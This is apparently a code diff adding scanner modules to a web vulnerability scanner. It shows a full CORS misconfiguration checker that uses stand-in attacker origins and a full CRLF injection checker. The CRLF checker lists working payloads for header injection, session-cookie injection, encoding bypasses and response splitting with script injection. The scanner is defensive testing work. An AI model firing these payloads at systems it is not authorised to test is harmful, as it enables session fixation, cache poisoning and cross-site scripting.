|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
cors_scanner.py — Tests for CORS (Cross-Origin Resource Sharing) misconfigurations.
|
| 3 |
+
No external dependencies required.
|
| 4 |
+
"""
|
| 5 |
+
import urllib.request
|
| 6 |
+
import urllib.error
|
| 7 |
+
import urllib.parse
|
| 8 |
+
from scanners.base_scanner import BaseScanner
|
| 9 |
+
from utils.callback import build_callback_url
|
| 10 |
+
|
| 11 |
+
TEST_ORIGINS = [
|
| 12 |
+
"https://evil.attacker.com",
|
| 13 |
+
"https://malicious-site.net",
|
| 14 |
+
"null",
|
| 15 |
+
]
|
| 16 |
+
|
| 17 |
+
CALLBACK_ORIGIN = build_callback_url("/cors").replace("https://", "https://callback.").replace("http://", "http://callback.")
|
| 18 |
+
|
| 19 |
+
|
| 20 |
+
class CorsScanner(BaseScanner):
|
| 21 |
+
SCANNER_NAME = "CORS Misconfiguration Scanner"
|
| 22 |
+
_SCANNER_KEY = "cors"
|
| 23 |
+
|
| 24 |
+
def _make_ctx(self):
|
| 25 |
+
return self.get_ssl_context()
|
| 26 |
+
|
| 27 |
+
def run(self):
|
| 28 |
+
self.log("INFO", f"[CORS] Testing Cross-Origin Resource Sharing policy on {self.target}...")
|
| 29 |
+
|
| 30 |
+
for origin in TEST_ORIGINS:
|
| 31 |
+
self._test_origin(origin)
|
| 32 |
+
|
| 33 |
+
self._test_origin(CALLBACK_ORIGIN)
|
| 34 |
+
self._test_subdomain_trust()
|
| 35 |
+
self._test_preflight()
|
| 36 |
+
self._test_preflight_credentials()
|
| 37 |
+
self.log("INFO", f"[CORS] CORS analysis complete. {len(self.vulns)} issue(s) found.")
|
| 38 |
+
return self.vulns
|
| 39 |
+
|
| 40 |
+
def _test_origin(self, origin):
|
| 41 |
+
try:
|
| 42 |
+
headers = {
|
| 43 |
+
"User-Agent": "LarShield/2.0",
|
| 44 |
+
"Origin": origin,
|
| 45 |
+
}
|
| 46 |
+
if self.auth_headers:
|
| 47 |
+
headers.update(self.auth_headers)
|
| 48 |
+
|
| 49 |
+
req = urllib.request.Request(
|
| 50 |
+
self.target,
|
| 51 |
+
headers=headers,
|
| 52 |
+
)
|
| 53 |
+
with urllib.request.urlopen(req, timeout=8, context=self._make_ctx()) as resp:
|
| 54 |
+
headers = {k.lower(): v for k, v in resp.getheaders()}
|
| 55 |
+
acao = headers.get("access-control-allow-origin", "")
|
| 56 |
+
acac = headers.get("access-control-allow-credentials", "").lower()
|
| 57 |
+
|
| 58 |
+
if acao == "*":
|
| 59 |
+
self.log("WARNING", f"[CORS] Wildcard ACAO header: Access-Control-Allow-Origin: *")
|
| 60 |
+
if acac == "true":
|
| 61 |
+
self.log("CRITICAL", "[CORS] CRITICAL: Wildcard CORS + credentials=true!")
|
| 62 |
+
self.add_vuln(
|
| 63 |
+
title="Critical CORS: Wildcard Origin with Credentials Allowed",
|
| 64 |
+
severity="Critical", category="CORS", cvss_score=9.8,
|
| 65 |
+
description="The server responds with Access-Control-Allow-Origin: * AND Access-Control-Allow-Credentials: true. This combination is exploitable — any malicious website can make authenticated cross-origin requests on behalf of logged-in users, enabling account takeover and data theft.",
|
| 66 |
+
remediation="Never combine wildcard ACAO with credentials. Use explicit allowlisted origins:\n Access-Control-Allow-Origin: https://yourdomain.com\n Access-Control-Allow-Credentials: true",
|
| 67 |
+
evidence=f"Response headers: Access-Control-Allow-Origin: *, Access-Control-Allow-Credentials: true",
|
| 68 |
+
payload=f"Origin: {origin}",
|
| 69 |
+
request_details="GET with Origin header",
|
| 70 |
+
response_details=f"ACAO: *, ACAC: true",
|
| 71 |
+
confidence="Confirmed",
|
| 72 |
+
cwe_ids=["CWE-942"],
|
| 73 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 74 |
+
)
|
| 75 |
+
else:
|
| 76 |
+
self.add_vuln(
|
| 77 |
+
title="Overly Permissive CORS Policy (Wildcard Origin)",
|
| 78 |
+
severity="Medium", category="CORS", cvss_score=5.4,
|
| 79 |
+
description="The server allows cross-origin requests from any domain (Access-Control-Allow-Origin: *). This may expose public APIs to abuse from malicious websites.",
|
| 80 |
+
remediation="Restrict CORS to specific trusted origins:\n Access-Control-Allow-Origin: https://yourfrontenddomain.com\nUse environment-based origin allowlists.",
|
| 81 |
+
evidence=f"Response header: Access-Control-Allow-Origin: *",
|
| 82 |
+
payload=f"Origin: {origin}",
|
| 83 |
+
request_details="GET with Origin header",
|
| 84 |
+
response_details=f"ACAO: *",
|
| 85 |
+
confidence="Confirmed",
|
| 86 |
+
cwe_ids=["CWE-942"],
|
| 87 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 88 |
+
)
|
| 89 |
+
|
| 90 |
+
elif acao == origin and origin != "null":
|
| 91 |
+
self.log("WARNING", f"[CORS] Origin reflected back: {origin} -> ACAO: {acao}")
|
| 92 |
+
if acac == "true":
|
| 93 |
+
self.log("CRITICAL", f"[CORS] Arbitrary origin reflected with credentials=true!")
|
| 94 |
+
self.add_vuln(
|
| 95 |
+
title="CORS: Arbitrary Origin Reflected with Credentials",
|
| 96 |
+
severity="Critical", category="CORS", cvss_score=9.1,
|
| 97 |
+
description=f"The server reflected the attacker-controlled origin '{origin}' in the ACAO header AND allows credentials. This enables cross-origin authenticated requests from any malicious website — a classic CORS-based account takeover vector.",
|
| 98 |
+
remediation="Implement an explicit origin allowlist. Never reflect arbitrary origins:\n allowed = ['https://app.yourdomain.com']\n if request.headers.get('Origin') in allowed:\n response.headers['Access-Control-Allow-Origin'] = request.headers['Origin']",
|
| 99 |
+
evidence=f"Origin: {origin} -> ACAO: {acao}, ACAC: {acac}",
|
| 100 |
+
payload=f"Origin: {origin}",
|
| 101 |
+
request_details="GET with Origin header",
|
| 102 |
+
response_details=f"ACAO: {acao}, ACAC: {acac}",
|
| 103 |
+
confidence="Confirmed",
|
| 104 |
+
cwe_ids=["CWE-942"],
|
| 105 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 106 |
+
)
|
| 107 |
+
else:
|
| 108 |
+
self.add_vuln(
|
| 109 |
+
title="CORS: Arbitrary Origin Reflected Without Credentials",
|
| 110 |
+
severity="Medium", category="CORS", cvss_score=5.4,
|
| 111 |
+
description=f"The server reflected the arbitrary origin '{origin}'. While credentials are not allowed, this still permits cross-origin data theft of non-credentialed responses.",
|
| 112 |
+
remediation="Use a static allowlist of trusted origins rather than reflecting the request Origin header.",
|
| 113 |
+
evidence=f"Origin: {origin} -> ACAO: {acao}",
|
| 114 |
+
payload=f"Origin: {origin}",
|
| 115 |
+
request_details="GET with Origin header",
|
| 116 |
+
response_details=f"ACAO: {acao}",
|
| 117 |
+
confidence="Confirmed",
|
| 118 |
+
cwe_ids=["CWE-942"],
|
| 119 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 120 |
+
)
|
| 121 |
+
|
| 122 |
+
elif origin == "null" and acao == "null":
|
| 123 |
+
self.log("WARNING", "[CORS] null origin accepted! Sandboxed iframes can exploit this.")
|
| 124 |
+
self.add_vuln(
|
| 125 |
+
title="CORS: Null Origin Accepted",
|
| 126 |
+
severity="Medium", category="CORS", cvss_score=6.1,
|
| 127 |
+
description="The server accepts 'null' as a valid CORS origin. Sandboxed iframes or locally opened HTML files send Origin: null, which attackers can exploit to bypass CORS restrictions.",
|
| 128 |
+
remediation="Remove 'null' from any CORS origin allowlist. Only accept explicit https:// origins.",
|
| 129 |
+
evidence="Origin: null -> ACAO: null",
|
| 130 |
+
payload="Origin: null",
|
| 131 |
+
request_details="GET with Origin: null",
|
| 132 |
+
response_details="ACAO: null",
|
| 133 |
+
confidence="Confirmed",
|
| 134 |
+
cwe_ids=["CWE-942"],
|
| 135 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 136 |
+
)
|
| 137 |
+
else:
|
| 138 |
+
self.log("SUCCESS", f"[CORS] Origin '{origin}': Correctly rejected")
|
| 139 |
+
|
| 140 |
+
except urllib.error.HTTPError as e:
|
| 141 |
+
acao = e.headers.get("Access-Control-Allow-Origin", "")
|
| 142 |
+
if acao:
|
| 143 |
+
self.log("INFO", f"[CORS] HTTP {e.code} but ACAO header present: {acao}")
|
| 144 |
+
except Exception as e:
|
| 145 |
+
self.log("ERROR", f"[CORS] Request to {self.target} with origin '{origin}': {e}")
|
| 146 |
+
|
| 147 |
+
def _test_subdomain_trust(self):
|
| 148 |
+
try:
|
| 149 |
+
parsed = urllib.parse.urlparse(self.target)
|
| 150 |
+
domain = parsed.netloc
|
| 151 |
+
sub_origin = f"{parsed.scheme}://evil.{domain}"
|
| 152 |
+
headers = {
|
| 153 |
+
"User-Agent": "LarShield/2.0",
|
| 154 |
+
"Origin": sub_origin,
|
| 155 |
+
}
|
| 156 |
+
if self.auth_headers:
|
| 157 |
+
headers.update(self.auth_headers)
|
| 158 |
+
|
| 159 |
+
req = urllib.request.Request(
|
| 160 |
+
self.target,
|
| 161 |
+
headers=headers,
|
| 162 |
+
)
|
| 163 |
+
with urllib.request.urlopen(req, timeout=8, context=self._make_ctx()) as resp:
|
| 164 |
+
headers = {k.lower(): v for k, v in resp.getheaders()}
|
| 165 |
+
acao = headers.get("access-control-allow-origin", "")
|
| 166 |
+
acac = headers.get("access-control-allow-credentials", "").lower()
|
| 167 |
+
|
| 168 |
+
if acao == sub_origin:
|
| 169 |
+
self.log("WARNING", f"[CORS] Subdomain trust detected: {sub_origin} is allowed!")
|
| 170 |
+
self.add_vuln(
|
| 171 |
+
title="CORS: Subdomain Trust - Evil Subdomain Allowed",
|
| 172 |
+
severity="High", category="CORS", cvss_score=7.0,
|
| 173 |
+
description=f"The server trusts subdomains of its own origin. If any subdomain is compromised (e.g., via XSS or takeover), an attacker can make authenticated CORS requests.",
|
| 174 |
+
remediation="Explicitly list only the exact subdomains that need CORS access, or use a dedicated API domain.",
|
| 175 |
+
evidence=f"Origin: {sub_origin} -> ACAO: {acao}",
|
| 176 |
+
payload=f"Origin: {sub_origin}",
|
| 177 |
+
request_details="GET with subdomain Origin header",
|
| 178 |
+
response_details=f"ACAO: {acao}, ACAC: {acac}",
|
| 179 |
+
confidence="Confirmed",
|
| 180 |
+
cwe_ids=["CWE-942"],
|
| 181 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 182 |
+
)
|
| 183 |
+
else:
|
| 184 |
+
self.log("SUCCESS", f"[CORS] Subdomain '{sub_origin}': Correctly rejected")
|
| 185 |
+
except Exception as e:
|
| 186 |
+
self.log("ERROR", f"[CORS] Subdomain trust test error: {e}")
|
| 187 |
+
|
| 188 |
+
def _test_preflight(self):
|
| 189 |
+
try:
|
| 190 |
+
req = urllib.request.Request(
|
| 191 |
+
self.target,
|
| 192 |
+
method="OPTIONS",
|
| 193 |
+
headers={
|
| 194 |
+
"User-Agent": "LarShield/2.0",
|
| 195 |
+
"Origin": "https://evil.attacker.com",
|
| 196 |
+
"Access-Control-Request-Method": "DELETE",
|
| 197 |
+
"Access-Control-Request-Headers": "Authorization",
|
| 198 |
+
},
|
| 199 |
+
)
|
| 200 |
+
with urllib.request.urlopen(req, timeout=8, context=self._make_ctx()) as resp:
|
| 201 |
+
headers = {k.lower(): v for k, v in resp.getheaders()}
|
| 202 |
+
acam = headers.get("access-control-allow-methods", "")
|
| 203 |
+
acah = headers.get("access-control-allow-headers", "")
|
| 204 |
+
acao = headers.get("access-control-allow-origin", "")
|
| 205 |
+
|
| 206 |
+
if acao == "https://evil.attacker.com":
|
| 207 |
+
self.log("WARNING", "[CORS] Preflight reflects arbitrary origin!")
|
| 208 |
+
self.add_vuln(
|
| 209 |
+
title="CORS Preflight Origin Reflection",
|
| 210 |
+
severity="Medium", category="CORS", cvss_score=5.4,
|
| 211 |
+
description="The OPTIONS preflight response reflects the Origin header in Access-Control-Allow-Origin. This indicates a permissive CORS policy that trusts arbitrary origins.",
|
| 212 |
+
remediation="Do not reflect the Origin header in preflight responses. Use explicit allowlisted origins.",
|
| 213 |
+
evidence=f"Origin: https://evil.attacker.com -> ACAO: {acao}",
|
| 214 |
+
payload="Origin: https://evil.attacker.com",
|
| 215 |
+
request_details="OPTIONS with Origin: https://evil.attacker.com",
|
| 216 |
+
response_details=f"ACAO: {acao}, ACAM: {acam}",
|
| 217 |
+
confidence="Confirmed",
|
| 218 |
+
cwe_ids=["CWE-942"],
|
| 219 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 220 |
+
)
|
| 221 |
+
|
| 222 |
+
if "DELETE" in acam.upper() or "PUT" in acam.upper():
|
| 223 |
+
self.log("WARNING", f"[CORS] Preflight allows dangerous methods: {acam}")
|
| 224 |
+
self.add_vuln(
|
| 225 |
+
title="CORS Preflight Allows Dangerous HTTP Methods",
|
| 226 |
+
severity="Medium", category="CORS", cvss_score=5.4,
|
| 227 |
+
description=f"The CORS preflight response allows dangerous HTTP methods from cross-origin requests: {acam}. Combined with a weak origin policy, this enables destructive cross-origin operations.",
|
| 228 |
+
remediation="Restrict ACAM to only the methods your API actually requires:\n Access-Control-Allow-Methods: GET, POST\nNever include DELETE or PUT unless explicitly required cross-origin.",
|
| 229 |
+
evidence=f"ACAM: {acam}",
|
| 230 |
+
payload="Access-Control-Request-Method: DELETE",
|
| 231 |
+
request_details="OPTIONS with Access-Control-Request-Method: DELETE",
|
| 232 |
+
response_details=f"ACAM: {acam}, ACAH: {acah}",
|
| 233 |
+
confidence="High",
|
| 234 |
+
cwe_ids=["CWE-942"],
|
| 235 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 236 |
+
)
|
| 237 |
+
else:
|
| 238 |
+
self.log("SUCCESS", "[CORS] Preflight method policy: Appropriate")
|
| 239 |
+
|
| 240 |
+
if acah and "Authorization" in acah:
|
| 241 |
+
self.log("INFO", "[CORS] Preflight allows Authorization header")
|
| 242 |
+
except Exception as e:
|
| 243 |
+
self.log("ERROR", f"[CORS] Preflight check error: {e}")
|
| 244 |
+
|
| 245 |
+
def _test_preflight_credentials(self):
|
| 246 |
+
try:
|
| 247 |
+
req = urllib.request.Request(
|
| 248 |
+
self.target,
|
| 249 |
+
method="OPTIONS",
|
| 250 |
+
headers={
|
| 251 |
+
"User-Agent": "LarShield/2.0",
|
| 252 |
+
"Origin": "https://evil.attacker.com",
|
| 253 |
+
"Access-Control-Request-Method": "GET",
|
| 254 |
+
"Access-Control-Request-Headers": "Authorization",
|
| 255 |
+
},
|
| 256 |
+
)
|
| 257 |
+
with urllib.request.urlopen(req, timeout=8, context=self._make_ctx()) as resp:
|
| 258 |
+
headers = {k.lower(): v for k, v in resp.getheaders()}
|
| 259 |
+
acac = headers.get("access-control-allow-credentials", "").lower()
|
| 260 |
+
acao = headers.get("access-control-allow-origin", "")
|
| 261 |
+
|
| 262 |
+
if acac == "true" and acao == "https://evil.attacker.com":
|
| 263 |
+
self.log("CRITICAL", "[CORS] Preflight allows credentials with arbitrary origin!")
|
| 264 |
+
self.add_vuln(
|
| 265 |
+
title="CORS Preflight Allows Credentials with Arbitrary Origin",
|
| 266 |
+
severity="Critical", category="CORS", cvss_score=9.1,
|
| 267 |
+
description="The OPTIONS preflight response allows credentials AND reflects arbitrary origin. This enables authenticated cross-origin requests from any attacker-controlled domain.",
|
| 268 |
+
remediation="Only allow credentials with specific allowlisted origins. Never reflect arbitrary origins with credentials=true.",
|
| 269 |
+
evidence=f"ACAO: {acao}, ACAC: {acac}",
|
| 270 |
+
payload="Origin: https://evil.attacker.com",
|
| 271 |
+
request_details="OPTIONS with credentials check",
|
| 272 |
+
response_details=f"ACAO: {acao}, ACAC: {acac}",
|
| 273 |
+
confidence="Confirmed",
|
| 274 |
+
cwe_ids=["CWE-942"],
|
| 275 |
+
owasp_category="A01:2021 – Broken Access Control",
|
| 276 |
+
)
|
| 277 |
+
except Exception as e:
|
| 278 |
+
self.log("ERROR", f"[CORS] Preflight credentials test error: {e}")
|
backend/scanners/crlf_scanner.py
ADDED
|
@@ -0,0 +1,162 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
crlf_scanner.py — CRLF Injection / HTTP Response Splitting
|
| 3 |
+
============================================================
|
| 4 |
+
Expert-grade rewrite (GAP-007 fix):
|
| 5 |
+
1. Path-based injection (original + new payloads)
|
| 6 |
+
2. Query parameter injection
|
| 7 |
+
3. Unicode/double-encoded CRLF bypass variants
|
| 8 |
+
4. Cookie injection via Location header chain
|
| 9 |
+
5. Response splitting (Set-Cookie + HTTP/1.1 200 OK injection)
|
| 10 |
+
6. Redirect parameter injection (common real-world vector)
|
| 11 |
+
"""
|
| 12 |
+
import urllib.parse
|
| 13 |
+
from scanners.base_scanner import BaseScanner
|
| 14 |
+
|
| 15 |
+
INJECT_HEADER = "Wss-Crlf-Test"
|
| 16 |
+
INJECT_VALUE = "wss-crlf-confirmed"
|
| 17 |
+
|
| 18 |
+
PATH_PAYLOADS = [
|
| 19 |
+
f"/%0d%0a{INJECT_HEADER}:{INJECT_VALUE}",
|
| 20 |
+
f"/%0a{INJECT_HEADER}:{INJECT_VALUE}",
|
| 21 |
+
f"/%0d%0aSet-Cookie:{INJECT_HEADER}={INJECT_VALUE}",
|
| 22 |
+
f"/%0d%0aContent-Length:0%0d%0aHTTP/1.1 200 OK%0d%0a{INJECT_HEADER}:{INJECT_VALUE}",
|
| 23 |
+
f"/%E5%98%8A%E5%98%8D{INJECT_HEADER}:{INJECT_VALUE}",
|
| 24 |
+
f"/%E5%98%8A{INJECT_HEADER}:{INJECT_VALUE}",
|
| 25 |
+
f"/%0d%0a{INJECT_HEADER}:{INJECT_VALUE}%0d%0aX-Extra:test", # double-encode variant
|
| 26 |
+
f"/%250d%250a{INJECT_HEADER}:{INJECT_VALUE}",
|
| 27 |
+
f"/%0d%0aX-CRLF-Test:%20{INJECT_VALUE}",
|
| 28 |
+
f"/%0a%0d{INJECT_HEADER}:{INJECT_VALUE}",
|
| 29 |
+
f"/%23%0a{INJECT_HEADER}:{INJECT_VALUE}",
|
| 30 |
+
f"/%0d%0a%0d%0a<script>alert(1)</script>",
|
| 31 |
+
]
|
| 32 |
+
|
| 33 |
+
PARAM_PAYLOADS = [
|
| 34 |
+
f"%0d%0a{INJECT_HEADER}:{INJECT_VALUE}", # standard percent-encoded
|
| 35 |
+
f"%0a{INJECT_HEADER}:{INJECT_VALUE}", # LF only
|
| 36 |
+
f"%0d%0aSet-Cookie:{INJECT_HEADER}={INJECT_VALUE}", # cookie injection
|
| 37 |
+
f"%0d%0aSet-Cookie:session=injected;path=/", # session cookie injection
|
| 38 |
+
f"%0d%0a{INJECT_HEADER}:{INJECT_VALUE}%0d%0a%0d%0a<html><script>alert(1)</script></html>",
|
| 39 |
+
f"%250d%250a{INJECT_HEADER}:{INJECT_VALUE}", # double-encoded
|
| 40 |
+
]
|
| 41 |
+
|
| 42 |
+
REDIRECT_PARAMS = [
|
| 43 |
+
"redirect", "redirect_url", "redirect_uri", "return", "return_url",
|
| 44 |
+
"returnto", "next", "url", "goto", "location", "dest", "destination",
|
| 45 |
+
]
|
| 46 |
+
|
| 47 |
+
|
| 48 |
+
class CrlfScanner(BaseScanner):
|
| 49 |
+
SCANNER_NAME = "CRLF Injection Scanner"
|
| 50 |
+
_SCANNER_KEY = "crlf"
|
| 51 |
+
|
| 52 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 53 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 54 |
+
|
| 55 |
+
def run(self) -> list:
|
| 56 |
+
self.log("INFO", f"[CRLF] Testing HTTP Response Splitting on {self.target}...")
|
| 57 |
+
|
| 58 |
+
self._test_path_injection()
|
| 59 |
+
if self.vulns:
|
| 60 |
+
return self.vulns
|
| 61 |
+
|
| 62 |
+
self._test_query_param_injection()
|
| 63 |
+
if self.vulns:
|
| 64 |
+
return self.vulns
|
| 65 |
+
|
| 66 |
+
self._test_redirect_params()
|
| 67 |
+
|
| 68 |
+
if not self.vulns:
|
| 69 |
+
self.log("SUCCESS", "[CRLF] No CRLF injection detected.")
|
| 70 |
+
return self.vulns
|
| 71 |
+
|
| 72 |
+
def _test_path_injection(self):
|
| 73 |
+
base = self.target.rstrip("/")
|
| 74 |
+
for payload in PATH_PAYLOADS:
|
| 75 |
+
test_url = base + payload
|
| 76 |
+
body, status, resp_headers = self._make_request(
|
| 77 |
+
test_url, return_response_obj=True
|
| 78 |
+
)
|
| 79 |
+
if resp_headers and self._header_injected(resp_headers):
|
| 80 |
+
self._report("URL path", payload, resp_headers)
|
| 81 |
+
return
|
| 82 |
+
|
| 83 |
+
def _test_query_param_injection(self):
|
| 84 |
+
parsed = urllib.parse.urlparse(self.target)
|
| 85 |
+
qs = urllib.parse.parse_qsl(parsed.query)
|
| 86 |
+
if not qs:
|
| 87 |
+
return
|
| 88 |
+
for k, v in qs:
|
| 89 |
+
for payload in PARAM_PAYLOADS:
|
| 90 |
+
test_qs = [(k_p, (v_p + payload if k_p == k else v_p)) for k_p, v_p in qs]
|
| 91 |
+
test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
|
| 92 |
+
body, status, resp_headers = self._make_request(
|
| 93 |
+
test_url, return_response_obj=True
|
| 94 |
+
)
|
| 95 |
+
if resp_headers and self._header_injected(resp_headers):
|
| 96 |
+
self._report(f"Query param `{k}`", payload, resp_headers)
|
| 97 |
+
return
|
| 98 |
+
|
| 99 |
+
def _test_redirect_params(self):
|
| 100 |
+
parsed = urllib.parse.urlparse(self.target)
|
| 101 |
+
base = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
|
| 102 |
+
for param in REDIRECT_PARAMS:
|
| 103 |
+
for payload in PARAM_PAYLOADS[:3]:
|
| 104 |
+
test_url = f"{base}?{param}=https://example.com{urllib.parse.quote(payload)}"
|
| 105 |
+
body, status, resp_headers = self._make_request(
|
| 106 |
+
test_url, return_response_obj=True
|
| 107 |
+
)
|
| 108 |
+
if resp_headers and self._header_injected(resp_headers):
|
| 109 |
+
self._report(f"Redirect param `{param}`", payload, resp_headers)
|
| 110 |
+
return
|
| 111 |
+
if resp_headers:
|
| 112 |
+
loc = resp_headers.get("Location", "")
|
| 113 |
+
if INJECT_HEADER.lower() in loc.lower():
|
| 114 |
+
self._report(f"Redirect param `{param}` -> Location header", payload, resp_headers)
|
| 115 |
+
return
|
| 116 |
+
|
| 117 |
+
def _header_injected(self, headers) -> bool:
|
| 118 |
+
if headers.get(INJECT_HEADER):
|
| 119 |
+
return True
|
| 120 |
+
if headers.get("Set-Cookie") and INJECT_HEADER in (headers.get("Set-Cookie") or ""):
|
| 121 |
+
return True
|
| 122 |
+
return False
|
| 123 |
+
|
| 124 |
+
def _report(self, vector: str, payload: str, headers):
|
| 125 |
+
self.log("CRITICAL", f"[CRLF] Injection confirmed via {vector}!")
|
| 126 |
+
evidence_header = INJECT_HEADER
|
| 127 |
+
for k, v in headers.items():
|
| 128 |
+
if k.lower() == INJECT_HEADER.lower():
|
| 129 |
+
evidence_header = f"{k}: {v}"
|
| 130 |
+
break
|
| 131 |
+
self.add_vuln(
|
| 132 |
+
title="CRLF Injection / HTTP Response Splitting",
|
| 133 |
+
severity="High",
|
| 134 |
+
category="CRLF Injection",
|
| 135 |
+
cvss_score=7.4,
|
| 136 |
+
confidence="Confirmed",
|
| 137 |
+
references=[
|
| 138 |
+
"https://owasp.org/www-community/vulnerabilities/CRLF_Injection",
|
| 139 |
+
"https://cwe.mitre.org/data/definitions/113.html",
|
| 140 |
+
],
|
| 141 |
+
description=(
|
| 142 |
+
f"CRLF injection confirmed via **{vector}**.\n\n"
|
| 143 |
+
f"**Payload:** `{payload}`\n\n"
|
| 144 |
+
f"By injecting `%0d%0a` (Carriage Return + Line Feed) sequences, an attacker can:\n"
|
| 145 |
+
"- Inject arbitrary HTTP response headers (`Set-Cookie`, `Location`)\n"
|
| 146 |
+
"- Perform HTTP Response Splitting to poison caches\n"
|
| 147 |
+
"- Conduct session fixation attacks via `Set-Cookie` injection\n"
|
| 148 |
+
"- Chain into XSS via injected `Content-Type: text/html`\n"
|
| 149 |
+
"- Bypass CSP by injecting a new `Content-Security-Policy` header"
|
| 150 |
+
),
|
| 151 |
+
remediation=(
|
| 152 |
+
"1. URL-encode all user input before including it in HTTP headers or redirect URLs.\n"
|
| 153 |
+
"2. Reject or strip `\\r` and `\\n` characters from all user-supplied values.\n"
|
| 154 |
+
"3. Use web framework redirect functions (`redirect()`) instead of raw `Location:` header setting.\n"
|
| 155 |
+
"4. Implement a WAF rule blocking `%0d`, `%0a`, `\\r`, `\\n` in header values.\n"
|
| 156 |
+
"5. Set `Content-Security-Policy` and `X-Frame-Options` to limit XSS chaining."
|
| 157 |
+
),
|
| 158 |
+
payload=payload,
|
| 159 |
+
evidence=f"Header `{evidence_header}` found in server response after injection via {vector}.",
|
| 160 |
+
request_details=f"Injection via {vector}",
|
| 161 |
+
response_details=f"Injected header found: {evidence_header}",
|
| 162 |
+
)
|
backend/scanners/csp_scanner.py
ADDED
|
@@ -0,0 +1,280 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
